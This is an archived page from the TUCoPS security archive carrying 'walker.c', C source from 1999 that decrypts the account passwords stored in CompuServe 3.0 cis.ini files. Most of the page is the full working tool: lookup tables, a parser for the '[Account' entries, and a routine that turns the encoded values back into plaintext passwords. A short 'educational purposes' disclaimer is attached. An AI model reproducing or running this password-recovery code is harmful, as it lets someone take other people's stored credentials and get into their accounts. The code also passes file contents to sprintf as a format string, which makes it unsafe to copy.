TUCoPS :: Password Security :: walker.c

Walker - Compuserve Password Decrypter 3.0 This program was developed for educational purposes. It decrypts Compuserve 3.0 ini files (cis.ini) that stores account passwords.

/*

   *******************************************************
   *                                                     *
   *  Walker - Compuserve 3.0 Password Decrypter         *
   *                                                     *
   *             written by m0f0 1999                    *
   *                                                     *
   * Saludos para naki, kukoc, pek, hawk, Raist y d3rek  *
   *                                                     *
   *******************************************************

   This program was developed for educational purposes.
   It decrypts Compuserve 3.0 ini files (cis.ini) that stores 
   account passwords.

   Should compile on gcc Linux and MS-DOS Borland C 3.1

*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define LEN 1024

char *array1 = 
     "C6FDC7A1EDFBB6FEE3DBF5BEBAEFDDF7AB";

char *array2 =
     "E6DDE781CDDB96DEC3FBD59E9ACFFDD7E7DCE680CCDA97DFC2FAD49F9BCEFCD6"
     "E4DFE583CFD994DCC1F9D79C98CDFFD5E5DEE482CED895DDC0F8D69D99CCFED4"
     "E2D9E385C9DF92DAC7FFD19A9ECBF9D3E3D8E284C8DE93DBC6FED09B9FCAF8D2"
     "E0DBE187CBDD90D8C5FDD3989CC9FBD1E1DAE086CADC91D9C4FCD2999DC8FAD0"
     "EED5EF89C5D39ED6CBF3DD9692C7F5DFEFD4EE88C4D29FD7CAF2DC9793C6F4DE"
     "ECD7ED8BC7D19CD4C9F1DF9490C5F7DDEDD6EC8AC6D09DD5C8F0DE9591C4F6DC"
     "EAD1EB8DC1D79AD2CFF7D99296C3F1DBEBD0EA8CC0D69BD3CEF6D89397C2F0DA"
     "E8D3E98FC3D598D0CDF5DB9094C1F3D9E9D2E88EC2D499D1CCF4DA9195C0F2D8"
     "F6CDF791DDCB86CED3EBC58E8ADFEDC7F7CCF690DCCA87CFD2EAC48F8BDEECC6"
     "F4CFF593DFC984CCD1E9C78C88DDEFC5F5CEF492DEC885CDD0E8C68D89DCEEC4"
     "F2C9F395D9CF82CAD7EFC18A8EDBE9C3F3C8F294D8CE83CBD6EEC08B8FDAE8C2"
     "F0CBF197DBCD80C8D5EDC3888CD9EBC1F1CAF096DACC81C9D4ECC2898DD8EAC0"
     "FEC5FF99D5C38EC6DBE3CD8682D7E5CFFFC4FE98D4C28FC7DAE2CC8783D6E4CE"
     "FCC7FD9BD7C18CC4D9E1CF8480D5E7CDFDC6FC9AD6C08DC5D8E0CE8581D4E6CC"
     "FAC1FB9DD1C78AC2DFE7C98286D3E1CBFBC0FA9CD0C68BC3DEE6C88387D2E0CA"
     "F8C3F99FD3C588C0DDE5CB8084D1E3C9F9C2F89ED2C489C1DCE4CA8185D0E2C8"
     "86BD87E1ADBBF6BEA39BB5FEFAAF9DB787BC86E0ACBAF7BFA29AB4FFFBAE9CB6"
     "84BF85E3AFB9F4BCA199B7FCF8AD9FB585BE84E2AEB8F5BDA098B6FDF9AC9EB4"
     "82B983E5A9BFF2BAA79FB1FAFEAB99B383B882E4A8BEF3BBA69EB0FBFFAA98B2"
     "80BB81E7ABBDF0B8A59DB3F8FCA99BB181BA80E6AABCF1B9A49CB2F9FDA89AB0"
     "8EB58FE9A5B3FEB6AB93BDF6F2A795BF8FB48EE8A4B2FFB7AA92BCF7F3A694BE"
     "8CB78DEBA7B1FCB4A991BFF4F0A597BD8DB68CEAA6B0FDB5A890BEF5F1A496BC"
     "8AB18BEDA1B7FAB2AF97B9F2F6A391BB8BB08AECA0B6FBB3AE96B8F3F7A290BA"
     "88B389EFA3B5F8B0AD95BBF0F4A193B989B288EEA2B4F9B1AC94BAF1F5A092B8"
     "96AD97F1BDABE6AEB38BA5EEEABF8DA797AC96F0BCAAE7AFB28AA4EFEBBE8CA6"
     "94AF95F3BFA9E4ACB189A7ECE8BD8FA595AE94F2BEA8E5ADB088A6EDE9BC8EA4"
     "92A993F5B9AFE2AAB78FA1EAEEBB89A393A892F4B8AEE3ABB68EA0EBEFBA88A2"
     "90AB91F7BBADE0A8B58DA3E8ECB98BA191AA90F6BAACE1A9B48CA2E9EDB88AA0"
     "9EA59FF9B5A3EEA6BB83ADE6E2B785AF9FA49EF8B4A2EFA7BA82ACE7E3B684AE"
     "9CA79DFBB7A1ECA4B981AFE4E0B587AD9DA69CFAB6A0EDA5B880AEE5E1B486AC"
     "9AA19BFDB1A7EAA2BF87A9E2E6B381AB9BA09AFCB0A6EBA3BE86A8E3E7B280AA"
     "98A399FFB3A5E8A0BD85ABE0E4B183A999A298FEB2A4E9A1BC84AAE1E5B082A8"
     "A69DA7C18D9BD69E83BB95DEDA8FBD97A79CA6C08C9AD79F82BA94DFDB8EBC96"
     "A49FA5C38F99D49C81B997DCD88DBF95A59EA4C28E98D59D80B896DDD98CBE94"
     "A299A3C5899FD29A87BF91DADE8BB993A398A2C4889ED39B86BE90DBDF8AB892"
     "A09BA1C78B9DD09885BD93D8DC89BB91A19AA0C68A9CD19984BC92D9DD88BA90"
     "AE95AFC98593DE968BB39DD6D287B59FAF94AEC88492DF978AB29CD7D386B49E"
     "AC97ADCB8791DC9489B19FD4D085B79DAD96ACCA8690DD9588B09ED5D184B69C"
     "AA91ABCD8197DA928FB799D2D683B19BAB90AACC8096DB938EB698D3D782B09A"
     "A893A9CF8395D8908DB59BD0D481B399A992A8CE8294D9918CB49AD1D580B298"
     "B68DB7D19D8BC68E93AB85CECA9FAD87B78CB6D09C8AC78F92AA84CFCB9EAC86"
     "B48FB5D39F89C48C91A987CCC89DAF85B58EB4D29E88C58D90A886CDC99CAE84"
     "B289B3D5998FC28A97AF81CACE9BA983B388B2D4988EC38B96AE80CBCF9AA882"
     "B08BB1D79B8DC08895AD83C8CC99AB81B18AB0D69A8CC18994AC82C9CD98AA80"
     "BE85BFD99583CE869BA38DC6C297A58FBF84BED89482CF879AA28CC7C396A48E"
     "BC87BDDB9781CC8499A18FC4C095A78DBD86BCDA9680CD8598A08EC5C194A68C"
     "BA81BBDD9187CA829FA789C2C693A18BBB80BADC9086CB839EA688C3C792A08A"
     "B883B9DF9385C8809DA58BC0C491A389";

void desen (char *pass, char *hackpot);

int main (int argc, char *argv[]) {
  FILE *f;
  char s[LEN], pass[LEN], hackpot[LEN], account[LEN];
  int leido_account, encontrado_alguno;
  char *p;

  printf ("\n");
  printf ("            ************************************************ \n");
  printf ("            *                                              * \n");
  printf ("            *  Walker - Compuserve 3.0 Password Decrypter  * \n");
  printf ("            *                                              * \n");
  printf ("            *              written by m0f0 1999            * \n");
  printf ("            *                                              * \n");
  printf ("            ************************************************ \n");
  printf ("\n");

  if (argc!=2) {
    printf ("Use : walker <cis.ini> \n\n",argv[0]);
    exit (1);
  }

  f = fopen (argv[1],"r");
  if (f==0) {
    printf ("Error opening file %s \n\n",argv[1]);
  }

  leido_account = 0;
  encontrado_alguno = 0;
  while (fgets (s,1024,f)) {
    s[strlen(s)-1] = 0;
    if (leido_account) {
      /* last line : [Account... */
      p = strstr (s,"=");
      sprintf (pass,p+1);
      printf ("Account  = %s \n",account);
      desen  (pass,hackpot);
      printf ("Password = %s \n",hackpot);
      printf ("\n");
      leido_account=0;
      encontrado_alguno=1;
    }

    p = strstr (s,"[Account");
    if (p!=NULL && !leido_account) {
      leido_account = 1;
      p = strstr (s," ");
      if (p==NULL) {
        account[0]=0;
      }
      else {
              sprintf (account,p+1);
            account[strlen(account)-1] = 0;
          if ( account[strlen(account)-1] == ']') {
          account [strlen (account)-1] = 0;
              }
      }
    }
  }
  fclose (f);

        if (!encontrado_alguno) {
                printf ("No accounts found in this file.\n\n");
        }

  return 0;
}

/* Decrypt string 'pass' and stores it in 'hackpot' */
void desen (char *pass, char *hackpot) {
  int i, longit, lugar;
  char s[LEN], t[LEN], par[3];

  /* Find the password length (longit) */
  for (longit=0; longit<=16; longit++) {
    s[0] = pass [longit*2];
    s[1] = pass [longit*2+1];
    s[2] = 0;

    t[0] = array1[longit*2+0];
    t[1] = array1[longit*2+1];
    t[2] = 0;

    if (!strcmp (s,t)) {
      break;
    }
  }

  /* Decrypt every pair */
  strcpy (hackpot,"");
  for (i=1; i<=longit; i++) {
    par[0] = pass [2*i-2];
    par[1] = pass [2*i-1];
    par[2] = 0;

    for (lugar=32; lugar<=126; lugar++) {
      t[0] = array2[(lugar-32)*32 + 2*(i-1) + 0];
      t[1] = array2[(lugar-32)*32 + 2*(i-1) + 1];
      t[2] = 0;

      if (!strcmp (par,t)) {
        break;
      }
    }
    hackpot [i-1] = lugar;
  }
  hackpot [i-1] = 0;
}

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH